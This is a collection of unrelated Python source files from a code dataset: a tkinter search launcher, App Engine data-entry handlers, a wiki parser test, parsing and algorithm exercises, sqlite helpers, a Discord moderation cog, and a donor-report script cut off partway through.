+{"seq_id":"535189284","text":"import tkinter\nfrom tkinter import *\nfrom tkinter import ttk     #ttk will not be imported when you import tkinter\nimport webbrowser\n\nroot = tkinter.Tk()\n\n#Change the default title\nroot.title(\"Universal Search Engine\")\n\n#Create a label\nlabelOne = ttk.Label(root,text = \"Query\")   #It's attached to the root window with the specific message\n\n\n#Pack it in the window\nlabelOne.grid(row = 0,column = 0)\n\n#Create an entry and pack it\nentryOne = ttk.Entry(root,width = 50)\nentryOne.grid(row = 0, column = 1)\n\n#Creating a string variable to hold the choice\nstringWebsite = tkinter.StringVar(None, \"google\") #inside the StringVar we have None and google as default values\n\n#Create a callback function\ndef callBack():\n    if stringWebsite.get() == \"google\":\n        webbrowser.open(\"https://google.co.in/search?q=\"+ entryOne.get())\n    elif stringWebsite.get() == \"duck\":\n        webbrowser.open(\"https://duckduckgo.com/?q=\"+ entryOne.get())\n\ndef getEvent(event):\n    if stringWebsite.get() == \"google\":\n        webbrowser.open(\"https://google.co.in/search?q=\"+ entryOne.get())\n    elif stringWebsite.get() == \"duck\":\n        webbrowser.open(\"https://duckduckgo.com/?q=\"+ entryOne.get())\n\n#Creating radio buttons to choose the search Engine\nradioButtonOne = ttk.Radiobutton(root, text = \"Google\", value = \"google\", variable = stringWebsite)\nradioButtonOne.grid(row = 1 ,column = 1, sticky = W) #sticky makes the button be on west or east\n\nradioButtonTwo = ttk.Radiobutton(root, text = \"DuckDuckGo\", value = \"duck\", variable = stringWebsite)\nradioButtonTwo.grid(row = 1, column = 1, sticky = E)\n\n#Binding enter key with search button so both functions the same\nentryOne.bind('<Return>',getEvent)\n\n\n#Create a button called Search and grid it\nbuttonOne = tkinter.Button(root,text = \"Search\",command = callBack)\nbuttonOne.grid(row = 0, column = 2)\n\n#To make it stay in the top layer even after searching we have to use the windows attributes\nroot.wm_attributes('-topmost', 1)\n\n#To make the entry ready for being typed on opening\nentryOne.focus()\n\nroot.mainloop()\n","sub_path":"universalSearchEngine/Universal Search Engine.py","file_name":"Universal Search Engine.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"360670161","text":"from ROOT import TH2S, TCanvas, TAxis, gStyle\nfrom MPAPlot import MPAPlot\n\nMPANum = 4 # Number of MPA, 0-indexed\nmemory = [event for event in open('data/synchronous_data_noise_MPA'+str(MPANum+1)).read().splitlines() if event] # Reads events from file and skips empty lines after each shutter\nplot = MPAPlot()\n\nmemoryArray =[]\nfor event in memory:\n    eventArray = []\n    for pix in event:\n        eventArray.append(int(pix)) \n    memoryArray.append(eventArray)\n\nhitsPerPixel = [sum(pix) for pix in zip(*memoryArray)]\n\nplot.createHisto(hitsPerPixel, 0, len(hitsPerPixel), len(hitsPerPixel))   \n\nplot.draw()\n","sub_path":"common_noise/common_noise.py","file_name":"common_noise.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"652059134","text":"#encoding:utf-8\r\nfrom google.appengine.ext import webapp\r\nfrom google.appengine.api import users\r\nfrom google.appengine.ext import db\r\nfrom google.appengine.ext.webapp.util import run_wsgi_app\r\nfrom google.appengine.ext.webapp import template\r\nfrom basetypes import *\r\nimport os,datetime,logging,json\r\n\r\nclass AddCenter(webapp.RequestHandler):\r\n    def get(self):\r\n        is_ajax = 'ajax' in self.request.arguments()\r\n\r\n        stat_type = self.request.get('type','')\r\n        if stat_type == '':\r\n            template_values = {\r\n                'title' : '添加数据',\r\n                'ajax' : is_ajax,\r\n                'tablist' : [\r\n                    {'name' : '角色', 'href' : '/add?type=chara'},\r\n                    {'name' : '声优', 'href' : '/add?type=seiyuu'},\r\n                    {'name' : '会社', 'href' : '/add?type=comp'},\r\n                    {'name' : '游戏', 'href' : '/upload'},\r\n                    {'name' : '文件', 'href' : '/upload?type=simple'},\r\n                ],\r\n                'type' : 'add'\r\n            }\r\n            path = os.path.join(os.path.dirname(__file__), './/template//tab.html')\r\n            self.response.out.write(template.render(path,template_values))\r\n            return\r\n        else:\r\n            type_map = {\r\n                'chara' : {\r\n                    'name' : 'chara',\r\n                    'submit_url' : '/add/character', \r\n                    'hint1' : 'Name, Romaji, sid, imagekey',\r\n                    'hint2' : 'AMIfv95okg1m9KhvbYhXEHcqEhnOflFSj4paCzbWDq_qDwjvuK-_rYsgveF5ehqMp-rmxZfuYC47x4kXmkrfTcdfJ2u4O3aYAuNaHZoKi8QfhrSLN_xMsd7tjgtGxkdEQkp-JzZjqR0Cd5gMWesygGikVUEljJFCRQ'\r\n                    },\r\n                'seiyuu' : {\r\n                    'name' : 'seiyuu',\r\n                    'submit_url' : '/add/seiyuu', \r\n                    'hint1' : 'Name,snum,isMain',\r\n                    'hint2' : ''\r\n                    },\r\n                'comp' : {\r\n                    'name' : 'comp',\r\n                    'submit_url' : '/add/company', \r\n                    'hint1' : '',\r\n                    'hint2' : ''\r\n                    },\r\n                }\r\n\r\n            if stat_type not in type_map.keys():\r\n                self.error(404)\r\n                return\r\n\r\n            template_values = type_map[stat_type]\r\n\r\n            path = os.path.join(os.path.dirname(__file__), './/template//add.html')\r\n            self.response.out.write(template.render(path,template_values))\r\n\r\nclass AddCharacter(webapp.RequestHandler):\r\n    def post(self):\r\n        rawdata = self.request.get('text').replace('\\r\\n','\\n')\r\n        # get latest id\r\n        dbquery = db.GqlQuery('SELECT * FROM Character ORDER BY cid DESC')\r\n        if dbquery.fetch(1):\r\n            new_id = dbquery.fetch(1)[0].cid+1\r\n        else:\r\n            new_id = 1\r\n        id_backup = new_id\r\n        for dataline in rawdata.split('\\n'):\r\n            data = dataline.split(',')\r\n            newchara = Character()\r\n            newchara.Name = data[0]\r\n            newchara.Romaji = data[1]\r\n            newchara.sid = int(data[2])\r\n            \r\n            newchara.cid = new_id\r\n            newchara.image = data[3]\r\n            newchara.put()\r\n            new_id += 1\r\n            # else:\r\n            #     continue\r\n        self.response.out.write(json.dumps({'number':new_id-id_backup}))\r\n        return\r\n\r\nclass AddCompany(webapp.RequestHandler):\r\n    def post(self):\r\n        rawdata = self.request.get('text').replace('\\r\\n','\\n')\r\n        for dataline in rawdata.split('\\n'):\r\n            logging.info(repr(dataline))\r\n            compinfo = db.GqlQuery(\"SELECT * FROM Company WHERE Name='%s'\"% dataline)\r\n            result = compinfo.fetch(1)\r\n        \r\n            if len(result)==0 and dataline!='': \r\n                newcomp = Company()\r\n                newcomp.Name = dataline\r\n                newcomp.put()\r\n            else:\r\n                continue\r\n        self.response.out.write(json.dumps({'number':len(rawdata.split('\\n'))}))\r\n        return\r\n\r\nclass AddSeiyuu(webapp.RequestHandler):\r\n    def post(self):\r\n        rawdata = self.request.get('text').replace('\\r\\n','\\n')\r\n        # get latest id\r\n        dbquery = db.GqlQuery('SELECT * FROM Seiyuu ORDER BY sid DESC')\r\n        if dbquery.fetch(1):\r\n            new_id = dbquery.fetch(1)[0].sid+1\r\n        else:\r\n            new_id = 1\r\n        id_backup = new_id\r\n        for dataline in rawdata.split('\\n'):\r\n            data = dataline.split(',')\r\n            charainfo = db.GqlQuery(\"SELECT * FROM Seiyuu WHERE Name='%s' AND snum=%s\"% (data[0], data[1]))\r\n            result = charainfo.fetch(1)\r\n        \r\n            if len(result)==0: \r\n                newseiyuu = Seiyuu()\r\n                newseiyuu.Name = data[0]\r\n                newseiyuu.snum = int(data[1])\r\n                if data[2]==\"1\":\r\n                    newseiyuu.isMain = True\r\n                else:\r\n                    newseiyuu.isMain = False\r\n                \r\n                newseiyuu.sid = new_id\r\n                newseiyuu.put()\r\n                new_id += 1\r\n            else:\r\n                continue\r\n        self.response.out.write(json.dumps({'number':new_id-id_backup}))\r\n        return\r\n\r\ndef main():\r\n    application = webapp.WSGIApplication([\r\n        (r'/add', AddCenter),\r\n        (r'/add/character', AddCharacter),\r\n        (r'/add/seiyuu', AddSeiyuu),\r\n        (r'/add/company', AddCompany),\r\n        (r'.*', AddCharacter)\r\n        ],debug=True)\r\n    run_wsgi_app(application)\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","sub_path":"InfoRecorderOnline/Add.py","file_name":"Add.py","file_ext":"py","file_size_in_byte":5541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"540048250","text":"\"\"\"The macros below aren't reliable (e.g., some fail if ``arg_string`` is `None`)\r\nor safe (``include`` doesn't guard against circular reference). For a more complete example, see\r\n`the code used in the sandbox <http://code.google.com/p/urlminer/source/browse/examples/wiki/macros.py>`_.\r\n\r\n\"\"\"\r\nimport genshi.builder as bldr\r\nfrom . import dialects, core\r\nimport os\r\n\r\nclass Page(object):\r\n    root = 'test_pages'\r\n    def __init__(self,page_name):\r\n        self.name = page_name\r\n\r\n    def get_raw_body(self):\r\n        try:\r\n            f = open(os.path.join(self.root,self.name + '.txt'),'r')\r\n            s = f.read()\r\n            f.close()\r\n            return s\r\n        except IOError:\r\n            return None\r\n\r\n    def exists(self):\r\n        try:\r\n            f = open(os.path.join(self.root,self.name + '.txt'),'r')\r\n            f.close()\r\n            return True\r\n        except IOError:\r\n            return False\r\n        \r\n\r\ndef class_func(page_name):\r\n    if not Page(page_name).exists():\r\n        return 'nonexistent'\r\n\r\ndef path_func(page_name):\r\n    if page_name == 'Home':\r\n        return 'FrontPage'\r\n    else:\r\n        return page_name\r\n\r\n## Start of macros\r\n    \r\ndef include(arg_string,body,isblock):\r\n    page = Page(arg_string.strip())\r\n    return text2html.generate(page.get_raw_body())\r\n\r\ndef include_raw(arg_string,body,isblock):\r\n    page = Page(arg_string.strip())\r\n    return bldr.tag.pre(page.get_raw_body(),class_='plain')\r\n\r\ndef include_source(arg_string,body,isblock):\r\n    page = Page(arg_string.strip())\r\n    return bldr.tag.pre(text2html.render(page.get_raw_body()))\r\n\r\ndef source(arg_string,body,isblock):\r\n    return bldr.tag.pre(text2html.render(body))\r\n\r\ndef pre(arg_string,body,isblock):\r\n    return bldr.tag.pre(body)\r\n\r\n## End of macros\r\n\r\nmacros = {'include':include,\r\n          'include-raw':include_raw,\r\n          'include-source':include_source,\r\n          'source':source,\r\n          'pre':pre\r\n          }\r\n\r\ndef macro_dispatcher(macro_name,arg_string,body,isblock,environ):\r\n    if macro_name in macros:\r\n        return macros[macro_name](arg_string,body,isblock)\r\n    \r\ndialect = dialects.create_dialect(dialects.creole11_base,\r\n    wiki_links_base_url='',\r\n    wiki_links_space_char='',\r\n#    use_additions=True,\r\n    no_wiki_monospace=False,\r\n    wiki_links_class_func=class_func,\r\n    wiki_links_path_func=path_func,\r\n    macro_func=macro_dispatcher)\r\n\r\ntext2html = core.Parser(dialect)\r\n\r\n\r\nif __name__ == '__main__':\r\n    \r\n    text = Page('CheatSheetPlus').get_raw_body()\r\n    f = open(os.path.join('test_pages','CheatSheetPlus.html'),'r')\r\n    rendered = f.read()\r\n    f.close()\r\n    f = open(os.path.join('test_pages','template.html'),'r')\r\n    template = f.read()\r\n    f.close()\r\n\r\n    out = open(os.path.join('test_pages','out.html'),'w')\r\n    out.write(template % text2html(text))\r\n    out.close()\r\n    \r\n    assert template % text2html(text) == rendered\r\n\r\n    \r\n\r\n","sub_path":"creoleparser/test_cheat_sheet_plus.py","file_name":"test_cheat_sheet_plus.py","file_ext":"py","file_size_in_byte":2930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"375576072","text":"import operator\nimport re\n\n__author__ = 'alan'\n\n\nclass Solution(object):\n    def diffWaysToCompute(self, input):\n        \"\"\"\n        :type input: str\n        :rtype: List[int]\n        \"\"\"\n        tokens = re.split('(\\D)', input)\n        nums = list(map(int, tokens[::2]))\n        ops = list(map({\n            '+': operator.add,\n            '-': operator.sub,\n            '*': operator.mul,\n        }.get, tokens[1::2]))\n\n        def find(l, r):\n            if l == r:\n                return [nums[l]]\n            return [ops[i](x, y) for i in range(l, r)\n                    for x in find(l, i)\n                    for y in find(i + 1, r)]\n\n        return find(0, len(ops))\n\n\nif __name__ == \"__main__\":\n    sol = Solution()\n    s = \"2*3-4*5\"\n    print(sol.diffWaysToCompute(s))\n","sub_path":"DifferentWaysParentheses.py","file_name":"DifferentWaysParentheses.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"545402328","text":"from in_out_modules import *\n\n\nmain_matrix = []\nheight, width, main_matrix = read_from_flow(main_matrix)\nindex_i_1, index_j_1, index_i_2, index_j_2 = 0, 0, 0, 0\n\ndebugger_print_matrix(main_matrix)\n\nfor i in range(1, height - 1):\n    for j in range(1, width - 1):\n        if main_matrix[i][j] == 1:\n            index_i_1 = i - 1\n            index_j_1 = j - 1\n            print(index_i_1, index_j_1, end=\" \")\n            start_i = i\n            while main_matrix[i][j] == 1:\n                index_i_2 = i + 1\n                i += 1\n            i = start_i\n            while main_matrix[i][j] == 1:\n                index_j_2 = j + 1\n                j += 1\n            print(index_i_2, index_j_2, end=\" \")\n        case = index_i_2 != 0\n        if case:\n            break\n    if case:\n        break\n","sub_path":"Problem_2/problem_2_second_solve.py","file_name":"problem_2_second_solve.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"507941020","text":"import urllib\nfrom collections import OrderedDict\nfrom pylons import config\n\nimport ckanext.publicamundi.storers.vector as vectorstorer\n\ndef get_wfs_output_formats(backend='geoserver'):\n    return vectorstorer.wfs_output_formats.get(backend, {})\n\ndef url_for_wfs_feature_layer(service_endpoint, layer_name, output_format):\n    '''Build a WFS GetFeature request'''\n    qs_params = OrderedDict([\n        ('service', 'WFS'),\n        ('version', '1.0.0'),\n        ('request', 'GetFeature'),\n        ('typeName', str(layer_name)),\n        ('outputFormat', str(output_format)),\n    ])\n    return service_endpoint + '?' + urllib.urlencode(qs_params)\n\ndef get_table_resource(pkg_dict, res_dict):\n    '''Return the table resource on which a WMS/WFS is based on.\n    '''\n    \n    workspace = config['ckanext.publicamundi.vectorstorer.geoserver.workspace']\n    res_format = res_dict['format']\n    \n    if res_format == 'wfs':\n        published_layer = res_dict['wfs_layer']\n    elif res_format == 'wms':\n        published_layer = res_dict['wms_layer']\n    else:\n        assert False, (\n            'This helper can only be used for WMS/WFS vectorstorer resources')\n    \n    target_res = None\n    if published_layer.startswith(workspace):\n        rid = published_layer[len(workspace):].lstrip(':')\n        target_res = next(r for r in pkg_dict['resources'] \n            if r['format'] == 'data_table' and r['id'] == rid)\n\n    return target_res\n\n    \n","sub_path":"ckanext/publicamundi/storers/vector/lib/template_helpers.py","file_name":"template_helpers.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"146954289","text":"\"\"\"\nMIT License\nCopyright (c) 2020 GamingGeek\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software\nand associated documentation files (the \"Software\"), to deal in the Software without restriction,\nincluding without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,\nand/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE\nFOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\"\"\"\n\nfrom chatwatch.cw import ChatWatch\nfrom discord.ext import commands\nimport discord\nimport traceback\nimport json\n\n\nclass chatwatch(commands.Cog):\n    def __init__(self, bot):\n        self.bot = bot\n        if not hasattr(self.bot, 'chatwatch'):\n            self.bot.chatwatch = ChatWatch(bot.config['chatwatch'], self.bot.logger)\n\n    @commands.Cog.listener()\n    async def on_message(self, message):\n        if not message.guild or not message.content or message.author.bot:\n            return\n        ctx = await self.bot.get_context(message)\n        if ctx.valid:\n            return\n        payload = {\n            \"event\": \"message_ingest\",\n            \"data\": {\n                \"guild\": str(message.guild.id),\n                \"channel\": str(message.channel.id),\n                \"message\": message.content,\n                \"message_id\": str(message.id),\n                \"user\": str(message.author.id)\n            }\n        }\n        await self.bot.chatwatch.send(payload)\n\ndef setup(bot):\n    try:\n        bot.add_cog(chatwatch(bot))\n        bot.logger.info(f'$GREENLoaded Chatwatch!')\n    except Exception as e:\n        # errortb = ''.join(traceback.format_exception(type(e), e, e.__traceback__))\n        bot.logger.error(f'$REDError while loading $CYANChatwatch', exc_info=e)\n","sub_path":"core/chatwatch.py","file_name":"chatwatch.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"456987778","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\n\n# PartA: House Hunting Program - calculate how many months \n# to save up for initial down payment\n############################################\n# cost of dream home -> total_cost\n# Initial Down payment needed to buy house -> portion_down_payment\n# Assume portion_down_payment = 0.25*total_cost\n# current savings in bank = 0\n# annual salary -> annual_salary\n# portion saved = portion_saved*10%*annual_salary\n# percentage salary tobe saved -> percent_saved\n\n#############################################\n\n# Enter inputs\n\n#annual_salary = float(input(\"enter annual salary:  \"))\n#portion_saved = float(input(\"portion salary to be saved:   \"))\n#total_cost = float(input(\"cost of dream home:   \"))\n\nannual_salary = 75000\nportion_saved = 0.05\ntotal_cost = 1500000\nsalary_raise = 0.07\n\n#checkpoint1\nprint (annual_salary,\",  \", portion_saved, \",  \",total_cost)\nprint (\"/n\")\n# calculat value of no_months\n# no_months is the number of months required to save up for required deposit\n\nportion_down_payment = total_cost*0.25\ncurrent_savings = 0\nr = 0.04\n\nprint(\"target deposit required:  \", portion_down_payment)\n\nfor no_months in range (1,1000):\n    \n    current_savings = current_savings + (annual_salary*portion_saved)/12\n    current_savings = (1+r/12)*current_savings # add interest\n    no_months = no_months+1\n    \n    # print(current_savings, \",   \", no_months)\n    if current_savings >=portion_down_payment:\n        break\n\n#if no_months/6 with no remainder, raise salary\n    if no_months%6 == 0:\n        annual_salary = annual_salary*(1+salary_raise)\n    else:\n        continue\n    \n    if no_months >37: \n        portion_saved = portion_saved +.01\n        no_months = 1\n        continue\n    else:\n        break\nprint (\"number of months :  \", no_months)\n\n\n    \n\n    \n    \n    \n    \n\n\n  ","sub_path":"ps1c_testcase3_1.py","file_name":"ps1c_testcase3_1.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"444396669","text":"from tabulate import tabulate\nfrom lr_parser import Lr0Parser\n\n\ndef showMenu():\n    lr0 = Lr0Parser(\"g1.txt\")\n\n    print(\"\"\"\n    1 - print terminals\n    2 - print non terminals\n    3 - print productions\n    4 - print productions for a given non terminal\n    5 - canonical collection\n    6 - parse string\n    0 - exit\n    \"\"\")\n    menu = {\n        \"1\": lambda: lr0.printData(1),\n        \"2\": lambda: lr0.printData(2),\n        \"3\": lambda: lr0.printData(3),\n        \"4\": lambda: lr0.printProduction(input(\"Please give a non terminal: \")),\n        \"5\": lambda: lr0.canonicalCollection(),\n        \"6\": lambda: lr0.parseString(input(\"Please give a string: \")),\n        \"0\": exit\n    }\n    while True:\n        option = input(\"Choose an option:\")\n        if option in menu:\n            menu[option]()\n        else:\n            print(\"Wrong option\")\n\n\nif __name__ == '__main__':\n    showMenu()","sub_path":"parsing/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"347296070","text":"class Queries:\n    def __init__(self, connection):\n        \"\"\"\n        Initializes cursor for given connection.\n        Calls self.setup()\n        :param connection: sqlite connection to db file\n        :type connection: sqlite3.Connection\n        \"\"\"\n        self.conn = connection\n        self.c = self.conn.cursor()\n        self.setup()\n\n    def setup(self):\n        self.create_nodes_table('white_nodes')\n        self.create_nodes_table('black_nodes')\n        self.c.execute(\"PRAGMA synchronous = OFF\")\n        self.c.execute(\"PRAGMA journal_mode = OFF\")\n        self.conn.isolation_level = None\n        self.conn.commit()\n\n    def create_nodes_table(self, tbn):\n        \"\"\"\n        Creates table if not exists with columns:\n\n        node_id         INTEGER not null\n                            primary key autoincrement,\n        board           VARCHAR [350],\n        move            VARCHAR [6],\n        piece           VARCHAR [3],\n        ind             INT,\n        this_can_castle VARCHAR[27],\n        next_can_castle VARCHAR[27],\n        value           INT,\n        visits          INT,\n        branch_path     VARCHAR[200] UNIQUE,\n        parent_id       INTEGER\n\n        This does not set parent_id to foreign key! To do this call self.set_foreign_keys(color)\n        :param tbn: table name\n        :type tbn: str\n        \"\"\"\n        self.c.execute(\"\"\"CREATE TABLE IF NOT EXISTS {tbn}\n                          (\n                            node_id         INTEGER not null\n                              primary key autoincrement,\n                            board           VARCHAR [350],\n                            move            VARCHAR [6],\n                            piece           VARCHAR [3],\n                            ind             INT,\n                            this_can_castle VARCHAR[27],\n                            next_can_castle VARCHAR[27],\n                            value           INT,\n                            visits          INT,\n                            branch_path     VARCHAR[200] UNIQUE,\n                            parent_id       INTEGER\n                          )\"\"\".format(tbn=tbn))\n\n    def set_foreign_keys(self, color):\n        other_color = 'black' if color == 'white' else 'white'\n        create_temp = \"\"\"CREATE TABLE {color}_nodes_dg_tmp\n                            (\n                            node_id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,\n                            board VARCHAR[350],\n                            move VARCHAR[6],\n                            piece VARCHAR[3],\n                            ind INT,\n                            this_can_castle VARCHAR[27],\n                            next_can_castle VARCHAR[27],\n                            value INT,\n                            visits INT,\n                            branch_path VARCHAR[200] UNIQUE,\n                            parent_id INTEGER\n                            CONSTRAINT {color}_nodes_{other}_nodes__fk \n                            REFERENCES {other}_nodes (\"node_id\") ON UPDATE CASCADE\n                            )\"\"\".format(color=color, other=other_color)\n\n        migrate_temp = \"\"\"INSERT INTO {color}_nodes_dg_tmp\n                    (node_id, board, move, piece, ind, this_can_castle, next_can_castle, value, visits, parent_id) \n                    \n                    SELECT node_id, board, move, piece, ind, this_can_castle, next_can_castle, value, visits, parent_id\n                    FROM {color}_nodes\"\"\".format(color=color)\n\n        drop = \"\"\"DROP TABLE {color}_nodes\"\"\".format(color=color)\n\n        rename = \"\"\"ALTER TABLE {color}_nodes_dg_tmp RENAME TO {color}_nodes\"\"\".format(color=color)\n        queries = (create_temp, migrate_temp, drop, rename)\n        for q in queries:\n            self.c.execute(q)\n\n    def insert_node(self, data, tbn, mult=False):\n        \"\"\"\n        Insert node in given tbn.\n\n        :param data: rows to be inserted\n        :param tbn: name of table, 'white_nodes' or 'black_nodes'\n        :param mult: True if inserting multiple rows in one call\n        :type data: list, tuple\n        :type tbn: str\n        :type mult: bool\n        \"\"\"\n        query_mode = self.c.execute if not mult else self.c.executemany\n        query_mode(\"\"\"INSERT INTO {tbn} VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\"\"\".format(tbn=tbn), data)\n\n    def update_value_visits(self, data, tbn, mult=False):\n        \"\"\"\n        Update the value and visits of given nodes as:\n\n                    UPDATE {tbn}\n                    SET value = node.value, visits = node.visits\n                    WHERE branch_path = node.branch_path;\n\n        :param data: rows to be updated\n        :param tbn: name of table, 'white_nodes' or 'black_nodes'\n        :param mult: True if updating multiple rows in one call\n        :type data: list, tuple\n        :type tbn: str\n        :type mult: bool\n        \"\"\"\n\n        query_mode = self.c.execute if not mult else self.c.executemany\n        query = \"\"\"UPDATE {tbn}\n                   SET value = value + ?, visits = visits + ?\n                   WHERE branch_path = ?\"\"\".format(tbn=tbn)\n        query_mode(query, data)\n\n    def get_nodes(self, tbn, parent_id):\n        \"\"\"\n        Returns a list of rows containing data for .origin.node\n        :param tbn: table name to get nodes from\n        :param parent_id: node_id of parent node, if root node parent_id should be None\n        :type parent_id: int, None\n        :type tbn: str\n        :return: list of dictionaries with node data\n        :rtype: list\n        \"\"\"\n        if parent_id is None:\n            self.c.execute(\"\"\"SELECT * FROM {tbn} \n                              WHERE parent_id ISNULL\n                              ORDER BY ind ASC\"\"\".format(tbn=tbn))\n        else:\n            self.c.execute(\"\"\"SELECT * FROM {tbn} \n                              WHERE parent_id = ?\n                              ORDER BY ind ASC\"\"\".format(tbn=tbn), (parent_id, ))\n\n        nodes = self.c.fetchall()\n        if not nodes:\n            return None\n\n        keys = ('node_id', 'board', 'move', 'piece', 'ind', 'tcc', 'ncc', 'val', 'visits', 'branch_path')\n        new_nodes = []\n\n        for row in nodes:\n            nodes_dict = {}\n            for col, key in zip(row, keys):\n                nodes_dict[key] = col\n            new_nodes.append(nodes_dict)\n\n        return new_nodes\n\n    def get_node_id(self, node):\n        \"\"\"\n        Get primary key for given node.\n        :param node: tree node\n        :type node: Node\n        :return: node_id\n        :rtype: int\n        \"\"\"\n        table = '{}_nodes'.format(node.color)\n        self.c.execute(\"\"\"SELECT node_id FROM {tbn}\n                          WHERE branch_path = ? LIMIT 1\"\"\"\n                       .format(tbn=table), (node.branch_path, ))\n\n        parent_id = self.c.fetchone()\n\n        if parent_id is None:\n            return parent_id\n        else:\n            return parent_id[0]\n","sub_path":"database/queries.py","file_name":"queries.py","file_ext":"py","file_size_in_byte":6907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"239981582","text":"#!/usr/bin/env python3\nimport sys\nimport os\nfrom operator import itemgetter\n\n#--------------------------------------------------------------------------\ndef send_thank_you_letter(donor_name, donation_amt):\n    print(f'\\nDear {donor_name}\\n'\n         'Thank you for a recent donation to our Foundation in the amount of $' + f'{donation_amt}\\n'\n         '\\nSincerely'\n         '\\nBill & Melinda Gates')\n\n\n#-----------------------------------------------------------------------------\ndef send_thank_you_add_new_donation():\n    donor_name =input('\\n\\nPlease enter name of donor:  ')\n    donation_amt = input('\\nEnter the amount > ')\n    if donor_name in list_of_donors:\n        list_of_donors[donor_name].append(float(donation_amt))\n\n    # New donor\n    else:\n        list_of_donors[donor_name] = []\n        list_of_donors[donor_name].append(float(donation_amt))\n    # send thank you letter to the the donor name user just entered\n    send_thank_you_letter(donor_name, donation_amt)\n\n\n#----------------------------------------------------------------------------\ndef create_thank_you_files():\n    for donor_name in list_of_donors.keys():\n        #donor_name = each_donor['name']\n        total_donation = sum(list_of_donors[donor_name]) #sum(each_donor['donation'])\n        thks_letter = open('{name}.txt'.format(name = donor_name), 'w')\n        thks_letter.write('Dear {name}, \\n'\n                          'Thank you for your generosity to our Foundation in the total amount of ${amt}'.format(name = donor_name,\n                                                                                                                 amt = total_donation))\n        thks_letter.close()\n\n#----------------------------------------------------------------------------\ndef thank_you_menu_selection():\n    user_selection = input('\\n\\nTHANK-YOU MENU\\nChoose from one of options below:\\n\\\n        L) List current donors\\n\\\n        T) Send Thank-you letter (or Add donor and Send one)\\n\\\n        F) Create Thank-you files\\n\\\n        M) Back to MAIN MENU\\n\\\n        Q) Quit the program\\n\\\n        Please type L, T, F, M, or Q: ')\n    return user_selection\n\n\n#-------------------------------------------------------------------------\ndef thank_you_letter():\n    while True:\n        # use of dictionary where 'key' is the menu choice and 'value' is function to call\n        thank_you_menu_function = {\n        'L': create_report,\n        'T': send_thank_you_add_new_donation,\n        'F': create_thank_you_files,\n        'M': main,\n        'Q': quit_program\n    }\n        thank_you_selection = thank_you_menu_selection().upper()\n        thank_you_menu_function.get(thank_you_selection, invalid_thank_you_menu)()\n        #invalid_menu is to handle non-of-above choices\n\n\n#--------------------------------------------------------------------------\ndef sort_donor_list(unsorted_list):\n    sorted_donation_list = []\n    for d in unsorted_list:\n        total_donation =  sum(unsorted_list[d])\n        number_of_donation = len(unsorted_list[d])\n        average = total_donation / number_of_donation\n        sorted_donation_list.append([d, total_donation, number_of_donation, average])\n    #\n    sorted_donation_list = sorted(sorted_donation_list, key = itemgetter(1), reverse = True)\n\n    return sorted_donation_list\n\n\n#------------------------------------------------------------------------------\ndef create_report():\n    sorted_list = sort_donor_list(list_of_donors)\n    report_header = ['Donor Name', 'Total Donation Amt', 'Num of Donation',  'Avg Per Donation']\n    print('\\n\\n{:<25}{:>20}{:>20}{:>20}'.format(*report_header))\n    print('-'*90)\n    for donor in sorted_list:\n        print('{:<26}${:>15,.2f}{:>15}{:>25,.2f}'.format(donor[0], donor[1], donor[2], donor[1] / donor[2]))\n    print('\\n\\n')\n\ndef test_create_report():\n    for key, item in list_of_donors.items():\n        print(\"{:<20}: {}\".format(key, item))\n\n\n#------------------------------------------------------------------------------\ndef init_donor_list():\n    # create initial list of donors and their donations\n    global list_of_donors\n    list_of_donors = {'William Boeing': [12.86, 2.00, 3.00, 4.00, 5.00],\n                      'Steve Jobs':     [6.00, 7.00, 8.00],\n                      'Paul Allen':     [9.00, 10.00, 11.00],\n                      'Charles Flint':  [12.00, 13.00, 14.00],\n                      'Thomas Edison':  [15.00, 16.00, 17.00]  }\n\n\n#------------------------------------------------------------------------------\ndef main_menu_selection():\n    response = input('\\n\\nMAIN MENU\\nChoose from one of the options below:\\n\\\n        T) THANK-YOU MENU\\n\\\n        R) Create a Report\\n\\\n        Q) Quit the program\\n\\\n        Please type T, R, or Q: 